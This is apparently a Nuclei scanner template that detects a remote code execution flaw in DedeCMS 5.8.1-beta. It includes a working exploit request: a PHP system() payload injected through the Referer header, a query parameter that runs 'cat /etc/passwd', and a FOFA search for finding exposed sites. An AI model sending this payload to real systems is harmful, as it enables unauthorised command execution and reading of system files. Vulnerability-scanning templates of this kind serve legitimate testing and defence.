DedeCMS 5.8.1-beta is susceptible to remote code execution via a variable override vulnerability that allows an attacker to construct malicious code with template file inclusion without proper authorization, thus possibly obtaining sensitive information, modifying data, and/or gaining full control over a compromised system without entering necessary credentials.
fofa: app="DedeCMS"
id: dedecms-rce
info:
name: DedeCMS 5.8.1-beta - Remote Code Execution
author: ritikchaddha
severity: critical
description: |
DedeCMS 5.8.1-beta is susceptible to remote code execution via a variable override vulnerability that allows an attacker to construct malicious code with template file inclusion without proper authorization, thus possibly obtaining sensitive information, modifying data, and/or gaining full control over a compromised system without entering necessary credentials.
reference:
- https://srcincite.io/blog/2021/09/30/chasing-a-dream-pwning-the-biggest-cms-in-china.html
- https://sectime.top/post/1d114771.html
classification:
cpe: cpe:2.3:a:dedecms:dedecms:*:*:*:*:*:*:*:*
cwe-id: CWE-78,CWE-94
metadata:
verified: true
max-request: 1
fofa-query: app="DedeCMS"
product: dedecms
vendor: dedecms
tags: dedecms,cms,rce,vuln
http:
- raw:
- |
GET /plus/flink.php?dopost=save&c=cat%20/etc/passwd HTTP/1.1
Host: {{Hostname}}
Referer: <?php "system"($c);die;/*ref
matchers-condition: and
matchers:
- type: regex
regex:
- "root:[x*]:0:0"
- type: status
status:
- 200
# digest: 4b0a00483046022100bca9b532419c51bd63f7ce3b51aee2dc4c29aa9582e04a2497bb35c883d58480022100a73b56788538a957f243d6dff084c3c72e38a615b34f033b7704a619eac4495c:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.